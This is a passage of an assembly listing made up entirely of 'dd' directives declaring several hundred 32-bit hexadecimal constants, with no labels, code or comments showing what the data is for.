		dd 0ABEA19F6h, 61DB251Fh, 9A3092C5h, 14CBD80Eh,	63440178h
		dd 0F108017Ah, 74A9E445h, 0A01D2BB8h, 0CA404D85h, 0B5387BFDh
		dd 0AEBD1E3Fh, 25636E2Dh
		dd 34C0BC4Dh, 22CAA3C1h, 744B3D05h, 290B8020h, 0F94B00E9h
		dd 94905413h, 855B4F88h, 59E3D090h, 2BB60023h, 6673129Ah
		dd 0F70058EBh, 4BC49F34h, 167432AFh, 5B2B318h, 0CF44553Ch
		dd 0C0D088B4h, 0FEAA3B0Ch, 6209B209h, 9D00E8FFh, 0C00D1E27h
		dd 9A4C8024h, 0D3691D35h, 68DACE00h, 0D79044D1h, 54DC9009h
		dd 336E831h, 0FC0DD96h,	4900E5FDh, 0B1028E09h, 16DFE83h
		dd 0D2DC4D37h, 2B4E2005h, 70C40CCBh, 0D9A13017h, 75014C6h
		dd 855FD0CDh, 0A4500B48h, 88843401h, 0B2746351h, 0EC0B30D9h
		dd 5F773A00h, 4F459B13h, 6D3F01A6h, 92831464h, 0C531171Dh
		dd 13AC11Ch, 0CE9A91D0h, 0DCC440F5h, 0CB0BD718h, 45C592E8h
		dd 8111EE4Ch, 0F316F5DDh, 0C074F4h, 9BF0E2E1h, 0CF9EA11Eh
		dd 14D421BDh, 880F1DA0h, 6956C00Eh, 8A04B237h, 9DE78843h
		dd 3888788Eh, 4684D9C2h, 0B4E0060h, 44EA55ACh, 1F0723DAh
		dd 4D698918h, 0BCCDE970h, 1CEC5C06h, 3D794F02h,	0EC441CCBh
		dd 2D187513h, 2030C01h,	9C6C4F36h, 0B833EAE9h, 58CFAC3h
		dd 0AD042CA9h, 8884DE18h, 76CFD0h, 0D2CF6C04h, 2BE3FC38h
		dd 5A85F009h, 5F99482Ch, 48927B0Bh, 34A2C0E0h, 1FCB6509h
		dd 1D18590Ah, 494A20B1h, 0FD18A0B2h, 38891E7h, 0B583A700h
		dd 4CF86E6h, 19E5028Ah,	0EB1FFEEEh, 0FF4BC760h,	0B883209Ch
		dd 98439360h, 0C39A2A1h, 7A05598h, 5F716871h, 8072E03Dh
		dd 49BC4688h, 0E781F4h,	0D7285773h, 4E32E559h, 0D68E5400h
		dd 428078EBh, 0D1B8B187h, 0B3F1802h, 0D992E226h, 3775E8EAh
		dd 6C920744h, 0A67A6F19h, 0AC650C80h, 0F2529C3Bh, 0E47B25DCh
		dd 0D1849928h, 12A41839h, 0E95964ABh, 0E2251680h, 13F290B2h
		dd 5C6A830h, 4D7EE6Ch, 0F4E48C32h, 0AD1F000h, 688CF5EBh
		dd 7B6A13F6h, 1370F9E5h, 0F0E46413h, 44EC7C27h,	0CC4E82EDh
		dd 5A65F8C0h, 95D18314h, 0B679891Eh, 4B7CD8ADh,	5C44C068h
		dd 0A4B0AE28h, 0B13B6901h, 82A07EECh, 0E60D1A82h, 7CD43D49h
		dd 7500C925h, 0A5D98213h, 6E9DD944h, 0F0885413h, 78091E06h
		dd 4B628148h, 3B254F77h, 273DB488h, 60E0B49Ah, 0F3F1ED45h
		dd 0DE06407Dh, 17FD0C3Ch, 85D50010h, 323BD2C1h,	6D124F42h
		dd 10F25FA0h, 10CD8D00h, 39DAD1D4h, 84336103h, 806CBD78h
		dd 4A16B8BFh, 54BCB0F6h, 59C72725h, 0BE951D14h,	98550204h
		dd 4730C043h, 8A2F1DC9h, 65DC40F8h, 5E9DC9Ch, 0BD0D281h
		dd 2B05C688h, 3A44E53Fh, 5481CC95h, 0AB042768h,	6645140Fh
		dd 4C8EEB1h, 3F3DDD97h,	871CE4FFh, 27A22E1Fh, 0B521C343h
		dd 6FDBA80Ah, 0A962019Eh, 31F35C8Ch, 8C62FFh, 0C36BE5Fh
		dd 0B796661h, 0D951E64Dh, 7480B8AFh, 97830EF4h,	90880945h
		dd 0A00629ECh, 96181D55h, 288F405Ch, 0D2005DB0h, 4F26A958h
		dd 0CE8FBC7h, 2A654964h, 86BFF5C9h, 124135F0h, 0F0E8929Dh
		dd 0F419BF24h, 0E2E0F0D9h, 41F98820h, 1077C231h, 11BB1858h
		dd 21DFD97h, 0EBEEB09Ah, 94E8E04Dh, 0A31724A4h,	0A01027C4h
		dd 44004AB3h, 0D6BD01ECh, 983288h, 4204A172h, 0D2182056h
		dd 960934Ch, 0DCC10EB9h, 15467628h, 0B95C7F00h,	0C576E0B3h
		dd 0B7808561h, 83C5B099h, 9AA98043h, 48245D0Ch,	0F7F0B2E0h
		dd 0CA4DC0D8h, 4C71F4D3h, 0AF107814h, 2D4F8788h, 0A4F05934h
		dd 0F9737C43h, 0C41B1DF1h, 50BD49A0h, 0AC94B8B4h, 2714438Bh
		dd 0A8F93Bh, 512BB702h,	3C0008E7h, 4854778Ch, 9F3BED3Fh
		dd 0DEC34C6Dh, 8B5FE029h, 2812071Fh, 0A40D4722h, 5C60AE08h
		dd 0F78CB1C6h, 2F5F0Ah,	11001623h, 4C04597Fh, 1D4609A5h
		dd 687C1201h, 0B38800F4h, 8980A76Eh, 98C02E0Ah,	29054540h
		dd 66ECA8FCh, 0C0A84BB9h, 0DB9E4F04h, 1670460Dh, 0A5E308DEh
		dd 4F19D859h, 1EF0A466h, 20956482h, 38A86A20h, 26B00022h
		dd 3BD82967h, 1F097A7Bh, 0E4DA52A1h, 0D1B769A8h, 858988B7h
		dd 96F40091h, 0B4E09A9Dh, 0ECB61230h, 0DC2BD7ACh, 0F5007323h
		dd 0A5BD54C9h, 4FC40434h, 0C1C20626h, 1205D46Ch, 0D576201Dh
		dd 0E904C344h, 0F39B2F88h, 829430AEh, 8C991F9Eh, 44488h
		dd 0B566A239h, 38B9F592h, 0DC1915D1h, 5EF0F5ADh, 0BD591C09h
		dd 0C4C87929h, 4B88BC37h, 138024DBh, 0A0B89C25h, 0F2981640h
		dd 0F4D14F91h, 15440320h, 3D14A4E0h, 73E139Eh, 0C200B740h
		dd 3F1F2C81h, 0EE516677h, 0E2068034h, 3DC3E00h,	0ED474BCDh
		dd 75C9261h, 0B8BDB64Fh, 70B98108h, 85308113h, 4E4218DDh
		dd 0D0A2F055h, 203073F2h, 7C723855h, 7536A507h,	6EA101B9h
		dd 0C0702F1Fh, 0F0ECED06h, 3B2FF951h, 7762310h,	0C03589ECh
		dd 0BF5B8657h, 90828D16h, 29D44D8h, 81062211h, 3064C38Ah
		dd 0B69E3912h, 68090B2h, 0B2474DCEh, 7470A295h,	80805E85h
		dd 0AA7CD035h, 32006C19h, 0DA93D729h, 0C6F4A6Eh, 81654CA8h
		dd 4D3EF051h, 0A2B5037Ch, 0FF214B59h, 5B9847B0h, 9200BE70h
		dd 0B8CB88Dh, 0FB4F3284h, 0F253702Ch, 9E44C98h,	0C9248282h
		dd 3844299Fh, 588C69Dh,	0E7A5057Bh, 0E8B8EC89h,	0A0008C3Ah
		dd 6DE36F5h, 0B927B259h, 3D580898h, 0D8F33812h,	81024054h
		dd 0D85EE2FDh, 0C0886D2Fh, 0F8ED1935h, 2F1D2340h, 28B74D5Bh
		dd 0C68FD781h, 0DDC2907Eh, 0D0710C09h, 21542C68h, 8380148Ch
		dd 0BE0A6873h, 533A0007h, 8A9FB801h, 0B4B8993Ch, 85E54717h
		dd 90138C80h, 9C90B5C3h, 5C82C40Dh, 602C6AB4h, 0A4F9D79Ch
		dd 2C7DCE00h, 1F9DA285h, 0A9EC143Dh, 0F42D1CF2h, 0ED9F1850h
		dd 0F2EBC3B4h, 0C7E44A83h, 1F83C844h, 0B86DC8Ah, 0AAEA8EC0h
		dd 3AF154F1h, 102ED819h, 11C60D0h, 93468494h, 123A9A59h
		dd 0B8F0E958h, 90660001h, 1FE73541h, 0F9002B27h, 0E1945F80h
		dd 2733B622h, 0EC59FE42h, 86148C78h, 110D6400h,	2A4B525Bh
		dd 533817FBh, 50F093FCh, 1E07E488h, 71005BE4h, 1C20D55Fh
		dd 4ACE45C9h, 4AD4E7DDh, 89C818CAh, 8F547C0h, 0B9BD023Dh
		dd 291218B2h, 4440205Ch, 0DAD08Bh, 31587E41h, 87381ECBh
		dd 69CA8530h, 9647C7h, 3F5A57FDh, 1BABA9E6h, 12FCF500h
		dd 368D4F6Ch, 8E480042h, 0E56F8AD6h, 0CD95848Bh, 0FCB869F8h
		dd 70012B31h, 0BC839F95h, 0BBD37ECEh, 64B9031Bh, 92CA3910h
		dd 0F45FABACh, 0D9DCD12Dh, 203E18D1h, 58303868h, 0A3BE5085h
		dd 25C098AEh, 0C0D0890Dh, 45481497h, 48882E08h,	78ED009Dh
		dd 0CF743679h, 8902559Bh, 2A34084Ch, 47585EF9h,	58415725h
		dd 81076177h, 30C03F2Ah, 1324629Eh, 0F7800C21h,	751410FCh
		dd 0A85CBDD6h, 0C4A0404h, 0AF3F8757h, 402EC028h, 0B625479Bh
		dd 449CCDE3h, 87EF62D2h, 5C99C5F0h, 0E545E0B0h,	379713D1h
		dd 46BD6Ch, 0DA521B0Bh,	27E424BAh, 0F859129Dh, 7BDD5E09h
		dd 0AF970550h, 0B684C11Ch, 0A4BA0728h, 13443Dh,	0C4449436h
		dd 6AF52DBFh, 26E8744Ch, 44A5B04Fh, 0DD210054h,	99B58E9Eh
		dd 0CE00A212h, 9DA4A525h, 4E886892h, 54D0092Ah,	5BEBF054h
		dd 8A0850CCh, 1A4CC709h, 0A4347B48h, 8C465C5Ch,	0C6AA440Eh
		dd 0B847B900h, 0B75BA41Ch, 98848C2h, 0B11A888Fh, 0DCD8F6h
		dd 1067FC4Eh, 0BD0F60ECh, 7B26DA01h, 929E7D4Bh,	7A3E3961h
		dd 80F41C58h, 9438E425h, 0AC02DCE4h, 150C269Bh,	6A444819h
		dd 3FD8B4C1h, 32D61881h, 3E4FDF62h, 0F0CB2088h,	2B7D0099h
		dd 1654C58Fh, 12B79E39h, 0D4135DF8h, 7D41A1A0h,	0F4319002h
		dd 5E354536h, 60ED2758h
		dd 901ABBC3h, 0B7A16Ch,	5DD767C9h, 9C74A95Eh, 41E4D2Ch
		dd 4774674h, 9608CBCDh,	52CC04BBh, 8C041320h, 3E1CDFA8h
		dd 182A8618h, 0D727BC66h, 0D8C4D914h, 4E86148Bh, 0E564F45Fh
		dd 689DA44Bh, 6CC9280Fh, 746BA0F6h, 0C2A01C40h,	0C355ED46h
		dd 0DCA000CAh, 0B1B31877h, 0B8317BEBh, 445A7437h, 8DC08A88h
		dd 0B99E077h, 0F9D5057Ah, 46762C7Eh, 818A1339h,	26F4CC02h
		dd 89E3115Ah, 853FDE91h, 40EBB56Bh, 3E58E8F8h, 74FABABDh
		dd 704A5C25h, 0A249008Ch, 51B83330h, 687CCB48h,	0D8CC4B4Ah
		dd 90EE2513h, 45128470h, 28E62B64h, 172D80E0h, 0C57F7207h
		dd 0C6D4B6E7h, 72C17D86h, 63FCB03Fh, 0B0B4B07Eh, 38E8F297h
		dd 7B64A45Eh, 92AC31AEh, 21E408C3h, 97C9FA15h, 80D01114h
		dd 0F5633FECh, 78430483h, 0AB289A3Ch, 0EACBF002h, 6A885EE2h
		dd 76217404h, 7901B817h, 26D2456Ch, 2BBEC5BAh, 8A5BD09Ch
		dd 141970C1h, 9E0C30EFh, 2B45CEA1h, 3AC0C42Ah, 13772348h
		dd 356F0F24h, 59AE3AC0h, 40C0D9B4h, 8A3FB040h, 849DACh
		dd 0E560BC03h, 40DF309Ah, 720850D6h, 0C66E86D4h, 20AC80B1h
		dd 7FB9B7h, 0DCEE57C1h,	0AECC86D5h, 0E7A8E317h,	402E306Eh
		dd 0EDB90824h, 0F4E8DE93h, 8CDABCh, 3E8F62D5h, 0A2A685Ch
		dd 0D2F2E90h, 91DCE101h, 4578202Fh, 19D71115h, 735CF420h
		dd 0D40C0002h, 23E22663h, 9E013A77h, 6D4F9AB4h,	142F7664h
		dd 0D7E85C8Ch, 1EF3758Ch, 23D57BFh, 714ED320h, 0C5020CFCh
		dd 64FF890Ch, 0ECC19F38h, 7D5C4112h, 7B982134h,	0B08050DBh
		dd 63F78739h, 3335412h,	9B4B20BCh, 0D2EE80ECh, 3CDEB812h
		dd 40FE3F2Fh, 8F05B218h, 4AEE8E56h, 0ED7052AEh,	257AC38h
		dd 60A7EE35h, 925F5EA0h, 8837751Ch, 6D380900h, 61B8169Eh
		dd 9282484Ch, 0FC09D2E4h, 0AB2A4078h, 6000E3D8h, 0A1C89476h
		dd 9508F436h, 6D9D44EEh, 0AED140A8h, 6AF509B6h,	0C02CD4C9h
		dd 788C0ABCh, 0C87A373Dh, 0A231C0C2h, 87EF657Fh, 0AA11D9F1h
		dd 58305B10h, 0D6E200C7h, 0E12F4269h, 187A0CA8h, 6CB2416h
		dd 0A65A78B7h, 172116D0h, 0F98E54DEh, 5F224EFEh, 0FF56EDA0h
		dd 72208068h, 49EE3924h, 25073BA0h, 0E1596409h,	0A64F0048h
		dd 2894456Fh, 84D360B1h, 0E2529C60h, 44CD8A4Bh,	40F52C20h
		dd 0DE25FDC4h, 8428E5CBh, 0EB48E1A3h, 1623403Ah, 0C9793B07h
		dd 47E377A0h, 1CD15D0Dh, 2F271324h, 75E574E5h, 4BB3A460h
		dd 0C0370957h, 345E2CF3h, 729C8262h, 706304F0h,	0BAD8A648h
		dd 0BD18F805h, 0B59388C8h, 0FB2708C5h, 341B5030h, 0DC08AB97h
		dd 9C3EF43Ch, 0F00187A7h, 0B4D4EB46h, 0FC5431AFh, 751800Bh
		dd 0D1FB4FB7h, 0A27700DFh, 0BAB3CB6Dh, 0C20EE3A1h, 52C266Ch
		dd 0ACD6B9h, 92E0540Bh,	3B79E8D1h, 6E004618h, 0C3187880h
		dd 25E57A8Ch, 74E7F2EDh, 23623864h, 713C90D7h, 0A915006Eh
		dd 5F9E4762h, 0BC778EB6h, 95596613h, 920618B8h,	0C8C20EB9h
		dd 0D841862Ch, 0B11C2D85h, 0C2A494D3h, 80505466h, 69F19663h
		dd 0A008191h, 9AD19406h, 27439746h, 4844EDBFh, 0FF3D177Fh
		dd 80A33F56h, 0BFC80AD8h, 7AFEC174h, 0F93304BEh, 0F865BBF0h
		dd 0CBEB809Ch, 39024E89h, 5D863581h, 0D1E7FC0Ch, 0C01D55F6h
		dd 86C08E74h, 0F3681BE4h, 0F270C6Dh, 547911A0h,	134BEB00h
		dd 0DCA791Fh, 94A70FC2h, 97A0E595h, 0CB3E2336h,	0FA121E2Dh
		dd 988A1074h, 80B05A73h, 81109C86h, 0F57EF0C3h,	4B5F307Fh
		dd 9E133B00h, 5CF2B7E4h, 6F880930h, 0A45E25FDh,	400CD449h
		dd 0FBEDF6B7h, 0AE2C8E00h, 4754870Eh, 908397D9h, 290105A0h
		dd 241C8693h, 6DD8368Dh, 0AA5C1C53h, 61BF4010h,	0C56C6520h
		dd 0E3B4E195h, 0F4D81420h, 86DF1867h, 6CD9A9C0h, 40E11B01h
		dd 64A2C507h, 6A208C2Eh, 0D088295Bh, 10A08025h,	0DDBD81C0h
		dd 50C923CAh, 0F8680A4h, 9793DEADh, 0A239C283h,	0D41EC7A8h
		dd 19CB1D16h, 66C298BCh, 645EFFAFh, 74000F91h, 48E34705h
		dd 17513765h, 0C3C944h,	41ED41EEh, 8691F003h, 4E029C9Eh
		dd 209382DEh, 38B86E14h, 90F2424Ah, 0DC1F3122h,	0BF4411D6h
		dd 5492FDF4h, 0DE00E0E2h, 453C1E90h, 46EE9305h,	39CF6780h
		dd 1092664Eh, 324460B0h, 0A8E8E9F7h, 35AF0409h,	0BA4F9321h
		dd 0E5492020h, 8DA11E3Ah, 0E7B64B99h, 30784453h, 0D77B0014h
		dd 2D6D35A5h, 0FCB1E3E4h, 0B1B86780h, 9DC277F2h, 1940884h
		dd 0DC51C25h, 0F4ADC88Dh, 0ECDB7A31h, 0C01A7983h, 0FDF77588h
		dd 182E70E1h, 925C48B5h, 79BE1297h, 0B3D4A626h,	16B1900Fh
		dd 35BA043Ch, 0DB267AE4h, 2D589F4h, 92B5E14h, 2C145Eh
		dd 794100DCh, 0AD4D2211h, 2B48921Fh, 15890E64h,	2D4A6601h
		dd 29084161h, 0F857A8CCh, 19A60173h, 0B3E12140h, 0C1502090h
		dd 0CED20B84h, 205EA97Dh, 9D2CA70h, 0FD4166E2h,	5B3F2074h
		dd 35AE90D4h, 0F290B2F8h, 0B04E30D3h, 64777805h, 12AF90B9h
		dd 0D618BC1Ch, 31CD7804h, 6AED6CBCh, 7680E09Ah,	73654C58h
		dd 0ED4FDD73h, 505900E3h, 0D421C52Fh, 8507381h,	24778A04h
		dd 6EFB1DF4h, 0D55C0194h, 88B2911Ch, 0C828CE6Ah, 0DD8EC016h
		dd 925F013h, 0C0D44439h, 0C96AFB9Eh, 0D00AACA3h, 709C13A6h
		dd 0FD684Eh, 0BABCBEE3h, 351657D4h, 0F8B9962Dh,	12C1BBC4h
		dd 9AC26002h, 145D85h, 84F2A743h, 95822B30h, 0C6D86413h
		dd 0CD03EF21h, 0C30435B7h, 618CC045h, 160FF8E6h, 0B234B91Eh
		dd 0ECB75AF8h, 0BC23810h, 5EED474Ch, 3D4F8464h,	0AE7C84CBh
		dd 8A27EC01h, 0EC407624h, 9108B8BEh, 6084D324h,	0EF163DCh
		dd 51EE4588h, 11024CB4h, 351BCAA6h, 2FEDE4C9h, 0A0664031h
		dd 0B90C942Eh, 0F8A6D244h, 161107A0h, 85246B04h, 0C2AA8FB0h
		dd 0E87E9CE8h, 6017589h, 3A70D616h, 8ABEE38Dh, 6A0F8E02h
		dd 34621464h, 91D09755h, 0A4318713h, 2D77DB80h,	0A3831256h
		dd 806CF2D7h, 8010AFD2h, 63470C71h, 82C90716h, 0C489964Ah
		dd 4D40E7D7h, 1AE3988h,	2582D1BDh, 0BE9EBC18h, 0B5137551h
		dd 0CCD63797h, 92952D10h, 902CCC71h, 0E44F5960h, 5E610005h
		dd 0A9346963h, 4900E3FDh, 410FE066h, 4A9AD147h,	58C4B244h
		dd 6F020A1Ch, 188024E1h, 3D8B8D5h, 0F8A007F7h, 0F2E1467Ah
		dd 0CFC092B5h, 39042C15h, 93A65E8h, 85A00CE7h, 6903A927h
		dd 22367262h, 0D68181AEh, 0B90CD47Eh, 906F4F38h, 0E5823738h
		dd 74A5147Dh, 0AAD890DFh, 48A2E470h, 3B0BEA78h,	20FE1FCBh
		dd 2CB879A5h, 5E640014h, 91389BB4h, 9802B30Bh, 0F100790Ch
		dd 3B61193Ah, 27A0DEC2h, 3B08A090h, 3367C304h, 57AC3CECh
		dd 0B164180Fh, 0A65E80B5h, 0C5B1E18Ch, 25EE5AD0h, 70E49E5Dh
		dd 0B9042D12h, 9D2FE8E8h, 0A3E074CDh, 1A1A67Ah,	96C45C6Ah
		dd 2E070269h, 13882C9Ah, 0BD0561C0h, 0A7ED1CF3h, 8C00203Fh
		dd 0BFDC974Fh, 2A8F4E32h, 3848E64h, 0F2FC9279h,	22F8529Dh
		dd 76F43806h, 6942A209h, 0DD07753Eh, 4F622F8Eh,	8955369Bh
		dd 8C4448h, 6A2D5B4Ch, 0AACDB20Dh, 3B157958h, 80803E7Eh
		dd 9C42B9DEh, 25554136h, 14A2A14Ch, 3562A991h, 942A7540h
		dd 965A5C00h, 25F2BE26h, 0F34D5A84h, 1482263Ch,	910CC405h
		dd 47CE8A0h, 1DBCB8CFh,	0BC48AF40h, 0CE860A75h,	80A280B4h
		dd 5B2654D5h, 88FD4B00h, 28DF1C7Eh, 0ABC40040h,	53081E89h
		dd 83973696h, 0E7A560B8h, 0C7AED2E5h, 92903161h, 683E7F50h
		dd 0E703D723h, 0F0D5516Ch
		dd 98077CD3h, 57D210A8h, 0BDC05CEAh, 0B6FA30C2h, 0F3255300h
		dd 2B5DF715h, 0C5902212h, 48B4CB73h, 94EC7497h,	2741C701h
		dd 25E25980h, 0E09A2B30h, 3BC189C8h, 4BF98FEDh,	51FB832h
		dd 0A8B7EDC0h, 0ED4AF400h, 25D0F0E3h, 4C5420B4h, 0F897D443h
		dd 0F8395C6Dh, 653B1F0Dh, 69A68F5Ah, 0A85E066Bh, 7938715Ah
		dd 0FAF1180Ch, 9A760501h, 0B9F88A9Dh, 50E74A34h, 0AB594534h
		dd 5903646Eh, 2E1BD291h, 655BFBB8h, 0E0F3405Eh,	0C1489E1h
		dd 51303FBBh, 1999B819h, 1EDD2006h, 0B08024B7h,	0D2EBF4BCh
		dd 74E08816h, 9640164Bh, 828A74Fh, 0B9B8092h, 0E8791ECBh
		dd 9D4C143Eh, 0B7CF1D8h, 9E818600h, 0CC9DA5Bh, 45C19C7Ch
		dd 2F125DE5h, 0C0BBC870h, 0FFDE3DAFh, 4625E348h, 3D1D00E4h
		dd 28B08D6Ah, 7A159A03h, 988EBD1Dh, 4C0320BEh, 0B74B4738h
		dd 2CBEF123h, 76D5470h,	3E4F35CDh, 6477318Eh, 8EA43C7Fh
		dd 0A42382DFh, 974B6061h, 0B67F29h, 0C3646F28h,	0DD575FD4h
		dd 0C5BD3625h, 80B1EFF0h, 38B6B2E7h, 0F106F86Fh, 0A620742Bh
		dd 5F64A2D4h, 35574442h, 817791F4h, 4237D1EFh, 0F4907DC6h
		dd 0E700322Eh, 280DAEB9h, 2EF90352h, 39C05C8Dh,	0A4FDC897h
		dd 0CBF2BEACh, 87A0C2A0h, 70044F5Ch, 24819888h,	8400D22Eh
		dd 0BC9F92B3h, 1C2581B8h, 403AF149h, 51AF1290h,	0DB61BC66h
		dd 0B13AD2C1h, 6C2C3461h, 0EEEACBC2h, 0FB27605Eh, 0E36370A8h
		dd 0B6BB3F03h, 0C88E6617h, 0B548935Ah, 0C8B434E4h, 71B771DCh
		dd 80673D0Fh, 54E5C0A5h, 64C8C5ADh, 0E3A16084h,	9F0378ECh
		dd 5C004CB7h, 8B60AC12h, 41730B84h, 0E0023687h,	90DD9310h
		dd 0E6473D5Ch, 402B755h, 505A9E13h, 0FB397127h,	18D0597Ch
		dd 44716367h, 1CA8A070h, 7261B49Ah, 0BAAD4050h,	4480C17Ah
		dd 8718783Dh, 0B570CEACh, 1A952F7h, 0FC6948F6h,	6BBD3896h
		dd 6C09886Eh, 80DB7AA0h, 0E15C5C26h, 3BD8FC19h,	913E603h
		dd 0E9D4101Fh, 146264D5h, 5547E100h, 5FDD46FDh,	7B5B194Ch
		dd 1843EA02h, 0D78A51DCh, 4D5D84BAh, 0C8B9401Ch, 251FCF56h
		dd 0FBD6EC1Fh, 4FE284BCh, 4D8D8F21h, 0D0C97C31h, 2DCF12F4h
		dd 54787463h, 0F7B0644h, 0E141EBBFh, 0EFDDBA00h, 0B300528Ah
		dd 0B5044BF1h, 2E8D967Ch, 24E44232h, 0B73F03A4h, 0B4A00D63h
		dd 3E27821Ah, 708CDB4Ch, 7B125807h, 4C601B64h, 2DA6BD3Fh
		dd 78799BEEh, 704453A5h, 175CA66Bh, 0B7F70AD0h,	1D493443h
		dd 811611ECh, 70DF7433h, 0BDE9D0h, 4413A0C2h, 0FB58AE3Fh
		dd 0EE195925h, 84CDB5E4h, 7B113F40h, 769012A5h,	2044A8DAh
		dd 0A11E1309h, 1C1CBC12h, 4389CB1Bh, 549D771Dh,	25830D91h
		dd 74A96C4Bh, 90807A20h, 82D14689h, 0DC2C54h, 2364C2C3h
		dd 0A08859CFh, 0B28000BEh, 0C8200D28h, 0C4E8B554h, 3B466CB9h
		dd 12FC2098h, 1776A080h, 0B9937AABh, 0F69B888h,	0A4B45801h
		dd 407EDE2Bh, 0F98CEA40h, 991A0029h, 84E57CAh, 0E0004817h
		dd 3FEFAB6Bh, 25E940A2h, 305C6AFFh, 5110D909h, 1801D9B8h
		dd 371200FFh, 864DE306h, 590CE6D6h, 9180648Dh, 1F2FCCDh
		dd 0F32C8760h, 2A5A4FC2h, 9E6DECC1h, 9E5B1A7Ah,	80BC377Dh
		dd 89E4282Dh, 0CF01CC80h, 0D39E4FDDh, 50ACA49Ah, 0C4B108D0h
		dd 0E2929101h, 0DB2B4424h, 991BC09Ch, 16EC33Fh,	72AB65F0h
		dd 2F2DEAB4h, 0ECE6E413h, 0E7583AE0h, 4A287608h, 4F8900F6h
		dd 85877C1Dh, 6E81C860h, 979C11h, 0E9B14CD9h, 90E769F9h
		dd 0EF06DB01h, 0BA78E48h, 39EE5980h, 0D52ACC7Bh, 9E380807h
		dd 7440DDC8h, 0D2A54E54h, 0A9B80BA8h, 0E02C20F9h, 17E178DEh
		dd 24F71B2h, 0CD6E91D0h, 415F1472h, 6D255882h, 6B81C1A4h
		dd 0D11430C1h, 0B0B9054Ah, 158466CFh, 0C5920411h, 1FB8E4BDh
		dd 0F902307Fh, 0F08894E1h, 4305644h, 0BA20E9EBh, 874B4428h
		dd 80650FE4h, 54D503CBh, 0E1356E01h, 3D1B7E97h,	177B31F1h
		dd 3A9CE854h, 4F6C5C96h, 273FC48Dh, 59ED5098h, 0DB1E3E6Bh
		dd 0A0451612h, 2CAFE789h, 224165C0h, 5AC89AECh,	7D444471h
		dd 718814EDh, 488E055Bh, 82C1DAC8h, 3EF8FA0Ch, 42C903D4h
		dd 7DED4741h, 46813D5h,	0FA9A5ADEh, 26683400h, 88F939B7h
		dd 87C7A63h, 9CE89A04h,	64AF1F51h, 5008ABA8h, 8870250Ah
		dd 0E4344795h, 155861D7h, 12DB69E4h, 403F207h, 23EA130h
		dd 0D0028992h, 907B95A4h, 17425D70h, 0C0D9ECC5h, 0E7A87EECh
		dd 80C035B7h, 93CF8F3Fh, 41025FAh, 0E31EF0A5h, 0A58C2E62h
		dd 0D2003C59h, 9196A815h, 0F2EE0055h, 0F8289DE7h, 0F7020BF1h
		dd 422D92ABh, 4C22408h,	50E82586h, 5124539h, 0DE74F41Ah
		dd 0E96821Ah, 410F5B1h,	351F10BBh, 37407990h, 0CCB2D9DDh
		dd 4E3D7F49h, 75CCC051h, 0BB1EEDBFh, 0BD89EE65h, 64C05E38h
		dd 9E3940A2h, 0FE9CAB3h, 0C159C4DCh, 6865EF52h,	9EC04408h
		dd 98128734h, 0F2A101F6h, 54C08BCEh, 4D85E9Bh, 37D950B9h
		dd 2D48B19Fh, 0ABEF1700h, 7CB1571h, 0C09530A0h,	9D571904h
		dd 2CBC9754h, 1124443Fh, 0A53F8BC4h, 17C8601Bh,	9D070BFEh
		dd 68937570h, 5CEE12D4h, 0F7D7807Ch, 0FD9AB5EEh, 41845C91h
		dd 18001101h, 0A08C66C3h, 145558h, 0BED79F9Bh, 734D14DFh
		dd 0C6C9322Dh, 245E4378h, 5050FC91h, 2C0C4119h,	6C39806Ch
		dd 2CA36748h, 178B5C8h,	9B3C9588h, 0FD08D860h, 3F41F661h
		dd 9AD49747h, 0A0835E38h, 0C34B06BCh, 882128C8h, 0E895E42Dh
		dd 67729718h, 82743139h, 185CFA81h, 6CA8661Eh, 0B6599812h
		dd 612EACF1h, 2AA5518h,	0DE70F67Eh, 413FBA27h, 0DE3FC1CCh
		dd 4F758198h, 83AE9F6h,	0B50B6170h, 0D63CE023h,	0A28C02A9h
		dd 79BE9635h, 88D4975Fh, 5765148Ch, 6035DB82h, 54AED6h
		dd 9EE0C3E7h, 2504F36Ah, 5B149298h, 92CB5D4h, 0D973C206h
		dd 18D1F9E4h, 6E50B56h,	87676A1h, 3249C60Eh, 5EFC844Bh
		dd 8B46FCF4h, 2CD1EC2Eh, 7CB02F9Bh, 0CD00F022h,	4BAB388Ah
		dd 78F6209Ah, 0BB7C00F9h, 51526926h, 0C9340D53h, 0ECE65107h
		dd 0D0619AE0h, 0F0D90831h, 6400C80Ah, 46B7F151h, 9BE34CDCh
		dd 0BC477012h, 746A818Ch, 0C82E7557h, 0C6000B60h, 8722E8A0h
		dd 2A23BB5h, 64FD9868h,	0C555331Bh, 0C45BE9F8h,	71C7150h
		dd 0F3D49439h, 6C657959h, 9A6038C4h, 0F427929Dh, 11A8E976h
		dd 73205EC6h, 0DBC894CCh, 0F5CBC264h, 1EB8828Dh, 0AF4804C2h
		dd 973F8C20h, 0D2801EDCh, 3130C4BDh, 80E4E874h,	46515564h
		dd 91A70239h, 505D609Ah, 1878B853h, 0C230000Dh,	3D68CEB1h
		dd 0A5091ABEh, 7E956A9Dh, 0B97B0B18h, 0F79AC71h, 0CD00FB18h
		dd 6EB6CA7Ch, 26015D49h, 8438E681h, 0AF1F7063h,	11F58871h
		dd 0A0B8E72Fh, 0A06AB52h, 0A94A6D64h, 0B4FF1287h, 4201CA7Ch
		dd 2FC623F5h, 0B52A890Ch, 0A08A2BD0h, 5B9DB722h, 60D779B8h
		dd 0C1974B66h, 6985C7F4h, 0BA1F1064h, 21528872h, 0F497D894h
		dd 71C0E5FCh, 25914513h, 4B1DFC09h, 0E278C4F2h,	0C008F768h
		dd 61A7D67Bh, 421AC800h, 0BE977E35h, 5E349EC1h,	84148921h
		dd 0FEC903BEh, 0CEE69820h, 0AA6700B7h, 23E3BFF5h, 1007592h
		dd 0B46B60A8h, 0BC0076Ah, 21E4252Bh, 0E34F8020h, 882F8305h
		dd 0C488C7C4h, 89BE600Ah, 0C0AF0015h, 866F0FD3h, 1809DC71h
		dd 590DAAFBh, 0BD4C80DCh, 617B3EBAh, 0E4426C04h, 12EA38B9h
		dd 0B034AED4h, 8054DBBFh, 0A0DBF64Dh, 0DC660285h, 8E20B705h
		dd 8C5C1462h, 7811608Bh
		dd 0DC0494A8h, 2654F995h, 0FF4C096Dh, 0C6B7B870h, 71E88248h
		dd 180979C0h, 0B59D0071h, 0D995CB06h, 501D5AAh,	461BDD4Ch
		dd 11EC9247h, 4C207922h, 1222AC70h, 29B3F603h, 0D0646B8Ah
		dd 2D37BC9h, 215E576h, 9D73775h, 0B81B57BCh, 0CAC5B03Fh
		dd 0BEB488BCh, 0CB1CD46Ah, 0E6C589C0h, 109D9084h, 29DC00F4h
